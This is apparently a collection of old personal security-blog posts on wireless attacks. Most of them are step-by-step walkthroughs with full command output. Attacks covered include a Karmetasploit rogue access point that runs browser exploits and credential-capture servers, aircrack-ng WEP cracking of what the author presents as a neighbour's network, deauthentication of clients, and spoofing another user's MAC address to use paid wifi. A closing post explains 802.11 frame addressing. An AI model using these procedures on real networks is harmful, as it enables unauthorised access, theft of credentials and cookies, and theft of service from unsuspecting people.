Wigle Wifi Wardriving meets Google Earth for Neat Wifi Maps

I needed to make a map the access points for a client.  Since i cant show that map, i made another using the same technique.

First take your handy dandy Android device and install  Wigle Wifi Wardriving.

It uses the internal GPS and wifi to log access points, their security level and their GPS Position.

looks like this (yup i stole these)

List of access points

Also makes a cute map on your phone

once you have the APs you can export out the "run" from the data section. yes yes, the stolen photo says "settings" but if you install it today it will say "data" there now.

With the KML export you can import that directly into google earth and make all sorts of neat maps by toggling the data.

All Access Points

Open Access Points

WEP Encrypted Access Points

That's it.

-CG

Metasploit + Karma=Karmetasploit Part 2

Ok, so we have everything up and running (first post) and waiting for some random person...err your lab wifi box to connect to Karmetasploit.

We take a look at our current network connection before airbase-ng starts doing its thing.


*Note the blistering connection I had at the hotel.

Now we take a look at some of the available APs after airbase-ng starts doing its thing.


And lastly my computer connected to the hhonors AP


After that we open up our browser and try to go to google.com and we get the portal page that karmetasploit presents.



But as soon as we click enter or try to browse to a different URL a whole bunch of iframes start doing their thing trying to do the cookie theft and exploitation. You can see it in the bottom left corner.


Here we can see the result of ipconfig /all and see that my DHCP Server and DNS server is from karmetasploit.


A shot of airbase-ng doing its thing


Iphones connecting up

Cookie theft

POP password gathering

I saw the SMB Relay attack attempted a couple of times but I didnt see any of the other client side attacks being launched. Not sure what the issue is. I'm going to try it with a known vulnerable version of IE6 and see if I can get some better results. First instinct is that the browser enumeration code in browswer_autopwn isnt working quite right therefore not sending and clients sides out, but I could be wrong.

That's it for now.

Metasploit + Karma=Karmetasploit Part 1

HD Moore released some documentation to get karmetasploit working with the framework.

First you'll have to get an updated version of aircrack-ng because you'll need airbase-ng. I had 0.9.1 so I had to download and install the current stable version (1.0-rc1). If you have an old version you should be good dependency-wise. Ah, but there is a patch,(I used the 2nd patch), so apply that before you make/make install.

You may also need a current version of madwifi drivers (I used 0.9.4). I recently updated my kernel and that had hosed all my madwifi stuff up, so I had to reinstall. Ok, so got an updated version of aircrack, patched airbase-ng, and madwifi drivers and can inject packets? Let's continue.

Let's do our aireplay-ng test to see if things are working:

root@WPAD:/home/cg# aireplay-ng --test ath40
19:55:44 Trying broadcast probe requests...
19:55:44 Injection is working!
19:55:46 Found 5 APs

19:55:46 Trying directed probe requests...
19:55:46 00:1E:58:33:83:71 - channel: 4 - 'vegaslink'
19:55:52 0/30: 0%

19:55:52 00:14:06:11:42:A2 - channel: 4 - 'VEGAS.com'
19:55:58 0/30: 0%

19:55:58 00:13:19:5F:D1:D0 - channel: 6 - 'stayonline'
19:56:03 Ping (min/avg/max): 20.712ms/26.964ms/31.267ms Power: 14.80
19:56:03 5/30: 16%

19:56:03 00:14:06:11:42:A0 - channel: 4 - 'cheetahnetwork'
19:56:09 0/30: 0%

19:56:09 00:14:06:11:42:A1 - channel: 4 - 'Adult***Vegas'
19:56:15 0/30: 0%

Look's like we are good.

Now just follow the steps in the documentation, I installed dhcpd3 and set up my conf file, I did a svn update on the metasploit trunk, made sure the sqlite3 stuff was working and then tweaked my karma.rc file for the IP address I was on. Pretty straightforward.

With all the config files set up its pretty easy to get things going.

root@WPAD:/home/cg# airbase-ng -P -C 30 -v ath40
02:59:55 Created tap interface at0
02:59:55 Access Point with BSSID 00:19:7E:8E:72:87 started.
02:59:57 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
02:59:58 Got broadcast probe request from 00:14:A5:2E:BE:2F
02:59:59 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:02 Got broadcast probe request from 00:90:4B:C1:61:E4
03:00:03 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:05 Got broadcast probe request from 00:14:A5:48:CE:68
03:00:07 Got broadcast probe request from 00:90:4B:EA:54:01
03:00:09 Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"
03:00:12 Got directed probe request from 00:13:E8:A8:B1:93 - "stayonline"
----snip------
03:01:34 Got an auth request from 00:21:06:41:CB:50 (open system)
03:01:34 Client 00:21:06:41:CB:50 associated (unencrypted) to ESSID: "tmobile"
03:04:19 Got an auth request from 00:1B:77:23:0A:72 (open system)
03:04:19 Client 00:1B:77:23:0A:72 associated (unencrypted) to ESSID: "LodgeNet
**You get the idea...

airbase-ng creates an at0 tap so you have to configure it and set the mtu size (all this if from the karmetasploit documentation)

root@WPAD:/home/cg/evil/msf3# ifconfig at0 up 172.16.1.207 netmask 255.255.255.0

root@WPAD:/home/cg/evil/msf3# ifconfig at0 mtu 1400

root@WPAD:/home/cg/evil/msf3# ifconfig ath40 mtu 1800

After we get our IP stuff straight we need to tell the dhcpd server which interface to hand out IPs on.

root@WPAD:/home/cg/evil/msf3# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.0.5
Copyright 2004-2006 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 4 leases to leases file.
Listening on LPF/at0/00:19:7e:8e:72:87/172.16.1/24
Sending on LPF/at0/00:19:7e:8e:72:87/172.16.1/24
Sending on Socket/fallback/fallback-net

After that we run our karma.rc file within using msfconsole.

root@WPAD:/home/cg/evil/msf3# ./msfconsole -r karma.rc


=[ msf v3.2-release
+ -- --=[ 304 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 79 aux

resource> load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 172.16.1.207
AUTOPWN_HOST => 172.16.1.207
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 172.16.1.207
LHOST => 172.16.1.207
resource> set LPORT 45000
LPORT => 45000
resource> set SRVPORT 55550
SRVPORT => 55550
resource> set URIPATH /ads
URIPATH => /ads
resource> run
[*] Starting exploit modules on host 172.16.1.207...
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_compareto
[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_compareto
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_navigatorjava
[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_navigatorjava
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/multi/browser/firefox_queryinterface
[*] Local IP: http://127.0.0.1:55550/exploit/multi/browser/firefox_queryinterface
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/apple_quicktime_rtsp
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/apple_quicktime_rtsp
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/novelliprint_getdriversettings
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/novelliprint_getdriversettings
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms03_020_ie_objecttype
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms03_020_ie_objecttype
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ie_createobject
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ie_createobject
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_067_keyframe
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_067_keyframe
[*] Server started.
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_071_xml_core
[*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_071_xml_core
[*] Server started.
[*] Started reverse handler
[*] Server started.
[*] Using URL: http://0.0.0.0:55550/ads
[*] Local IP: http://127.0.0.1:55550/ads
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/pop3
resource> set SRVPORT 110
SRVPORT => 110
resource> set SSL false
SSL => false
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/pop3
resource> set SRVPORT 995
SRVPORT => 995
resource> set SSL true
SSL => true
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/ftp
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/imap
resource> set SSL false
SSL => false
resource> set SRVPORT 143
SRVPORT => 143
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/imap
resource> set SSL true
SSL => true
resource> set SRVPORT 993
SRVPORT => 993
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/smtp
resource> set SSL false
SSL => false
resource> set SRVPORT 25
SRVPORT => 25
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/smtp
resource> set SSL true
SSL => true
resource> set SRVPORT 465
SRVPORT => 465
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/fakedns
resource> unset TARGETHOST
Unsetting TARGETHOST...
resource> set SRVPORT 5353
SRVPORT => 5353
resource> run
[*] Auxiliary module running as background job
resource> use auxiliary/server/fakedns
resource> unset TARGETHOST
Unsetting TARGETHOST...
resource> set SRVPORT 53
SRVPORT => 53
resource> run
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/http
resource> set SRVPORT 80
SRVPORT => 80
resource> set SSL false
SSL => false
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/http
resource> set SRVPORT 8080
SRVPORT => 8080
resource> set SSL false
SSL => false
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/http
resource> set SRVPORT 443
SRVPORT => 443
resource> set SSL true
SSL => true
resource> run
[*] Server started.
[*] Auxiliary module running as background job
resource> use auxiliary/server/capture/http
resource> set SRVPORT 8443
SRVPORT => 8443
resource> set SSL true
SSL => true
resource> run
[*] Server started.
[*] Auxiliary module running as background job
msf auxiliary(http) >

Next post we'll see karmetasploit in action.

MSF & Karma ---- holy crap!

So phn1x gave a little writeup on his blog about MSF and KARMA integration. Guess HD Moore did a demo at AHA on it. Not like I needed any MORE reasons to be a metsploit fanboy (I have been for awhile) but that's a big one.

you read about it here:
http://hamsterswheel.com/techblog/?p=55

MAC address stealing for public wifi use Part 2

Mostly just notes for myself, but since Ubuntu can be a little tricky sometimes maybe they will help some other poor soul too...

**Like in the previous post said:
run airodump and see who is associated to the WAP you want to access, those MAC's that are associated with the IP have obviously paid (or hijacked someones shit like you are about to do)

**Actually doing it:
in the upper right with your wireless bars, right click and uncheck the wireless box

**Take the interface down so you can change the MAC
root@segfault:/home/cg# ifconfig ath0 down

**Change the MAC
root@segfault:/home/cg# ifconfig ath0 hw ether 00:06:25:27:55:EB

**Bring the interface back up
root@segfault:/home/cg# ifconfig ath0 up

**Check to see if the MAC took correctly
root@segfault:/home/cg# ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:06:25:27:55:EB
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:3278 errors:0 dropped:0 overruns:0 frame:0
TX packets:616 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:859916 (839.7 KB) TX bytes:86127 (84.1 KB)

Now, in the upper right where is probably a computer with a red X, right click and enable wireless, you should sync up and get an IP. at this point run wireshark and see if someone else is using your MAC and IP, if you are associated and cant actually get anywhere that is probably the problem. Pick another MAC address and redo the steps.

MAC address stealing for public wifi use

Keeping with my theme of "you never know when you need to crack WEP" or be able to get internet access...

If you find yourself in a life or death situation and its imperative that you get your lappy up on the net to send that "help me!" email and they are using MAC authentication, meaning only registered MACs can access the net, you can do the following:

pull out your trusty Ubiquiti or orinoco card or whatever you use and put it in monitor mode.

root@ineedhelp! #airmon-ng start wifi0

it will tell you what interface it started, for me and the ubiquiti card it was eth2

root@ineedhelp! #airodump-ng eth2

You should see something like the below:

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
00:C0:02:3A:C4:32, 2008-02-03 17:46:43, 2008-02-03 17:47:03, 11, 54, OPN , , , 2, 11, 5, 172. 16. 17. 42, 9, INTESA9-A,
00:C0:02:3A:AF:0E, 2008-02-03 17:46:41, 2008-02-03 17:47:07, 11, 54, OPN , , , 1, 11, 12, 172. 16. 16.225, 8, INTESA15,
00:02:2D:AB:1D:4E, 2008-02-03 17:46:40, 2008-02-03 17:47:10, 4, 11, OPN , , , 7, 26, 72, 172. 16. 16. 76, 8, INTESA13,

Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
00:12:17:72:5F:18, 2008-02-03 17:46:41, 2008-02-03 17:47:09, -1, 36, 00:02:2D:AB:1D:4E,
00:12:17:98:00:C5, 2008-02-03 17:46:44, 2008-02-03 17:46:58, -1, 3, 00:02:2D:AB:1D:4E,
00:12:17:97:D8:2D, 2008-02-03 17:46:46, 2008-02-03 17:46:46, -1, 1, 00:02:2D:AB:1D:4E,
00:12:17:98:39:6F, 2008-02-03 17:46:50, 2008-02-03 17:46:50, -1, 1, 00:02:2D:AB:1D:4E,
00:06:25:27:55:EB, 2008-02-03 17:46:47, 2008-02-03 17:46:59, 8, 4, 00:C0:02:3A:AF:0E,
00:12:17:A4:65:45, 2008-02-03 17:46:56, 2008-02-03 17:47:06, 12, 4, 00:02:2D:AB:1D:4E, INTESA13
00:12:17:98:2B:6F, 2008-02-03 17:46:48, 2008-02-03 17:46:50, 11, 2, (not associated) , INTESA9-A
00:12:17:98:44:4B, 2008-02-03 17:46:40, 2008-02-03 17:47:02, 9, 8, 00:02:2D:AB:1D:4E,
00:12:17:98:2B:6E, 2008-02-03 17:47:00, 2008-02-03 17:47:01, 0, 2, (not associated) , INTESA10

Go ahead and pick someone associated, thats going to be a valid MAC address for you to steal....er borrow.

00:12:17:98:44:4B, 2008-02-03 17:46:40, 2008-02-03 17:47:02, 9, 8, 00:02:2D:AB:1D:4E,

00:12:17:98:44:4B <-- Client MAC

00:02:2D:AB:1D:4E <-- WAP MAC

from there its a simple:

root@ineedhelp! #ifconfig eth2 down
root@ineedhelp! #ifconfig eth2 hw ether 00:12:17:98:44:4B
root@ineedhelp! #ifconfig eth2 up

now you should be handed a valid IP

root@ineedhelp! #ifconfig eth2
eth2 Link encap:Ethernet HWaddr 00:12:17:98:44:4B
inet addr:172.16.16.56 Bcast:172.16.16.255 Mask:255.255.255.0
inet6 addr: fe80::a800:4ff:fe00:a04/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188860 errors:1128 dropped:1128 overruns:0 frame:1128
TX packets:65680 errors:1183 dropped:1 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:44299003 (42.2 MB) TX bytes:11928926 (11.3 MB)
Interrupt:3 Base address:0x5100

now you can send your emergency email, make that emergency blog post, or just search the net for the answer to your emergency...

Deauthing users to get the ESSID using aircrack-ng

Sometimes airodump-ng wont show you the ESSID of an access point. you'll need the ESSID so you can do the fake authentication attack.

root@segfault:/home/cg/eric-g# airodump-ng ath0 --bssid 00:14:BF:9D:BA:DA -c 11
CH 11 ][ Elapsed: 9 s ][ 2007-11-25 23:43

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:BF:9D:BA:DA 13 37 98 15 2 11 48 WEP WEP (length: 7)

BSSID STATION PWR Lost Packets Probes

00:14:BF:9D:BA:DA 00:11:95:BD:77:79 -1 0 1
00:14:BF:9D:BA:DA 00:17:3F:74:80:D6 6 11 7


the solution to that is to deauth a client on the network, when they re-authenticate the ESSID should present itself.


root@segfault:/home/cg/casa# aireplay-ng -0 10 -a 00:14:BF:9D:BA:DA -c 00:17:3F:74:80:D6 ath0
23:45:50 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:51 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:52 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:53 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:55 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:56 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:57 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:58 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:45:59 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]
23:46:01 Sending DeAuth to station -- STMAC: [00:17:3F:74:80:D6]



watch your airodump output and the ESSID should change from length:# to the actual ESSID

CH 11 ][ Elapsed: 1 min ][ 2007-11-25 23:46

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:BF:9D:BA:DA 12 83 1093 122 5 11 48 WEP WEP OPN general

BSSID STATION PWR Lost Packets Probes

00:14:BF:9D:BA:DA 00:17:3F:74:80:D6 5 0 651
00:14:BF:9D:BA:DA 00:11:95:BD:77:79 -1 0 2

our ESSID is "general"

-CG

Cracking WEP with aircrack-ng

So i'll have to apologize for a severe lack of posts, i just moved from Texas to Northern VA and its been hell finding a place to rent. We finally found a place but the cable man doesnt come till monday, now that wont do i need my net fix. thankfully there are plenty of wifi networks i can see from inside the house...


######################
# Step 1: Target a specific network #
######################

root@segfault:/home/cg/eric-g# airodump-ng --bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-g
CH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48 WEP WEP OPN eric-G

BSSID STATION PWR Lost Packets Probes

00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0 34189

###########################
# Step 2: Associate with the target network #
###########################

root@segfault:/home/cg/eric-g# aireplay-ng -1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2
22:53:23 Waiting for beacon frame (BSSID: 00:18:F8:F4:CF:E4)
22:53:23 Sending Authentication Request
22:53:23 Authentication successful
22:53:23 Sending Association Request
22:53:24 Association successful :-)
22:53:39 Sending keep-alive packet
22:53:54 Sending keep-alive packet
22:54:09 Sending keep-alive packet
22:54:24 Sending keep-alive packet
22:54:39 Sending keep-alive packet
22:54:54 Sending keep-alive packet
22:55:09 Sending keep-alive packet
22:55:24 Sending keep-alive packet
22:55:39 Sending keep-alive packet
22:55:54 Sending keep-alive packet
22:55:54 Got a deauthentication packet!
22:55:57 Sending Authentication Request
22:55:59 Sending Authentication Request
22:55:59 Authentication successful
22:55:59 Sending Association Request
22:55:59 Association successful :-)
22:56:14 Sending keep-alive packet

***KEEP THAT RUNNING

####################
# Step 3: Generate Key Stream #
####################

root@segfault:/home/cg/eric-g# aireplay-ng -5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2
22:59:41 Waiting for a data packet...
Read 873 packets...

Size: 352, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:18:F8:F4:CF:E4
Dest. MAC = 01:00:5E:7F:FF:FA
Source MAC = 00:18:F8:F4:CF:E2

0x0000: 0842 0000 0100 5e7f fffa 0018 f8f4 cfe4 .B....^........
0x0010: 0018 f8f4 cfe2 c0b5 121a 4600 0e18 0f3d ..........F....=
0x0020: bd80 8c41 de34 0437 8d2d c97f 2447 3d81 ...A.4.7.-.$G=.
0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443 8725 ..h..........C.%
0x0040: 87f6 9a14 1ff9 0cfa bd36 862e ec54 7215 .........6...Tr.
0x0050: 335b 4a91 d6a4 caae 5a58 a736 6230 87d9 3[J.....ZX.6b0..
0x0060: 4e14 7617 21c6 eda4 9b0d 3a00 0b4f 47ab N.v.!.....:..OG.
0x0070: a529 dedf 4c13 880c a1e6 37f7 50e6 599c .)..L.....7.P.Y.
0x0080: 0a4c 0b7f 24ae b019 ef2f 36b9 c499 8643 .L.$..../6....C
0x0090: 6592 5835 23e5 c8e9 d1b9 3d36 1fe5 ecfe e.X5#.....=6....
0x00a0: 510b 51ba 4fe4 e2ed d33b 0459 ca68 82b8 Q.Q.O....;.Y.h..
0x00b0: c856 ea70 829f c753 1614 290e d051 392f .V.p...S..)..Q9/
0x00c0: fa65 cbc6 c5f8 24b1 cdbd 94e5 08c3 2dd4 .e....$.......-.
0x00d0: 6e4b 983b dc82 b2cd b3f1 dab5 b816 6188 nK.;..........a.
--- CUT ---

Use this packet ? y

Saving chosen packet in replay_src-1121-230028.cap
23:00:38 Data packet found!
23:00:38 Sending fragmented packet
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
23:00:38 Trying to get 384 bytes of a keystream
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
23:00:38 Trying to get 1500 bytes of a keystream
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
Saving keystream in fragment-1121-230038.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

######################
# Step 4: Build a valid ARP Packet #
######################

root@segfault:/home/cg/eric-g# packetforge-ng -0 -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 -k 255.255.255.255 -l 255.255.255.255 -w arp -y *.xor
Wrote packet to: arp

#########################
# Step 5: Generate your own arp traffic #
#########################

root@segfault:/home/cg/eric-g# aireplay-ng -2 -r arp -x 150 ath2

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:18:F8:F4:CF:E4
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 06:19:7E:8E:72:87

0x0000: 0841 0201 0018 f8f4 cfe4 0619 7e8e 7287 .A..........~.r.
0x0010: ffff ffff ffff 8001 1f1a 4600 c9d3 e5e7 ..........F.....
0x0020: d65a 6a63 0b51 bb60 8390 a8b4 947d 456f .Zjc.Q.`.....}Eo
0x0030: 3a05 25b2 7464 7db7 c49b d38a f789 822c :.%.td}........,
0x0040: 83a8 93c5 ....

Use this packet ? y

Saving chosen packet in replay_src-1121-230224.cap
You should also start airodump-ng to capture replies. **we started airodump on step1

at this point your airodump capture should really be filling up with a ton of data packets as we do the arp replay attack


################
# Step 6: Start cracking #
################

we can run aircrack while the arp replay attack is ongoing, so you dont have to stop the arp replay or fake authentication sessions.

cg@segfault:~/eric-g$ aircrack-ng -z eric-g-05.cap
Opening eric-g-05.cap
Read 64282 packets.

# BSSID ESSID Encryption

1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs)

Choosing first network as target.

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 21397 ivs.

Aircrack-ng 0.9.1


[00:00:11] Tested 78120/140000 keys (got 22918 IVs)

KB depth byte(vote)
0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106) B9( 106) E3( 106)
1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109) 33( 108) CD( 107)
2 6/ 18 91( 114) E7( 114) 21( 111) 0E( 110) 88( 109) C6( 109)
3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108) 9E( 108) 9B( 107)
4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111) BB( 110) C1( 110)

KEY FOUND! [ 70:34:91:37:29 ]
Decrypted correctly: 100%


Total time to crack, 4 minutes ;-)

-CG

Playing with Kismet

A few people know i am recovering from my iBook dying.

of course like a jackass, i wasnt backing up properly which is kind of a bummer but sometimes its always nice to start fresh, but if any of you ever sent me an email i wanted to keep, can you please resend it :-)

anyway, the silver lining of all of this is i got a new lappy (Toshibia A135-S4727) with a built in atheros card so i can finally use that hacking exposed wireless book i borrowed from work (and wont be returning) and can play with some of the wireless hack tools. I'm running Ubuntu 7.04 so it was fairly easy to get things up an running. A couple quick apt-get's and a little editing of the kismet conf file and i was up and running.

$sudo apt-get install madwifi-tools
$sudo apt-get install kismet

after you install the madwifi tools you should see the wifi0 interface when you do an ifconfig

wifi0 Link encap:UNSPEC HWaddr 00-19-7E-8A-BB-F4-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1399800 errors:113005 dropped:98619 overruns:0 frame:1332679
TX packets:98112 errors:2 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:199
RX bytes:283152996 (270.0 MiB) TX bytes:12557358 (11.9 MiB)
Interrupt:16

change directories into /etc/kismet and edit the kismet.conf file to use the madwifi_ag drivers

source=madwifi_ag,wifi0,Atheros

after that you should be good to go:

$sudo kismet










Links

http://www.kismetwireless.net/

http://www.wi-fiplanet.com/tutorials/article.php/3595531

Addressing in 802.11 Frames

So I've been doing a lot of wireless related stuff lately. Mainly audits of wireless environments. Lots of passive sniffing and packet analysis, so it's necessary to have a solid understanding of 802.11 Framing and the various packet types. By simply looking at the packets you can determine a great deal about the network in question.

A typical packet is made up of the following:

Frame Control [2 bytes] – This defines the options in the header fields and specifies the type of frame (management, data or control) in use. The frames format changes depending on the options specified in this Frame Control field.

Duration/ID [2 bytes] – This defines the amount time that the transmission medium is expected to be busy for the duration of the data transmission.

Address 1 [6 bytes] – This is the destination/receiving address.

Address 2 [6 bytes] - This is the source address. The address of the device that sent the frame.

Address 3 [6 bytes] – This is a filtering address. It is used to filter traffic on the same frequency as other BSS networks.

Sequence Control [2 bytes] – This is used for fragmentation in management and data frames and contains the sequence number and fragment number fields. Frames with payloads larger than 2312 bytes will be fragmented. Fragmentation is seldom used, as the maximum size of an Ethernet frame is 1500 bytes.

Address 4 [6 bytes] – This address is only used in WDS (Wireless Distribution Systems) to specify the source address. This is the station that sent the packet over the WDS.

Data Frame [variable] – This contains the payload. In management frames the structure is strictly ordered and contains fixed length parameters followed by variable length parameters in any order.

Frame Check Sequence [4 bytes] – This is a CRC32 checksum and is used to provide message integrity against accidental corruption of the frame in transit.

Obviously this is a very simple breakdown of an 802.11 frame.

In the Frame Control header field, which defines the options for the remainder of the header fields, there are two bits called the ‘To DS’ and ‘From DS’ bits. These are the 8th and 9th bits respectively. The To Distribution System and From Distribution bits are important for analysis as, depending on the combination of these flags, they identify the type of network the packet originated from.

The distribution system can have various definitions but it’s easiest to define the distribution system as that which connects the wireless network to other networks. In most cases this will be the wired network. By looking at which bit is set we can determine the source and destination MAC addresses in use.

To DS bit is set – The packet is coming from a wireless station to the wired network

From DS bit is set – The packet is coming from the wired network, or possibly the AP itself and is destined for a wireless station.

From DS and To DS are cleared – The packet is from an Ad-hoc network.

From DS and To DS are set – The packet is from a WDS network. Most often a WDS network is used to connect networks together. An example would be a bridge between buildings.

WDS networks are the only ones that will have a value set for all four address fields. When analyzing a packet from a WDS network it is important that you don’t mix up the Receiver Address (address 1), the Transmitter Address (Address 2), the Destination Address (Address 3) and the Source Address (Address 4).

The Receiver Address is the MAC address of the device at one end of a WDS network (I.e.: a bridge) that bridges the wireless connection to the wired network.

The Transmitter Address is the MAC address of the device at the other end of the WDS network that bridges the traffic from the wired network to the wireless network.

Node ←→Wired Network ←→ AP/bridge ←→ AP/bridge ←→ Wireless Network ←→ Node

The Transmitter and Receiver neither create the frame or are the intended recipient of the frame, they merely receive and forward the frame on. The frame is created by the device identified by the MAC address in the source address field. The destination address field identifies the final recipient of the frame.

Hopefully this has clarified how addressing works in a 802.11 frame.

Cheers,
Dean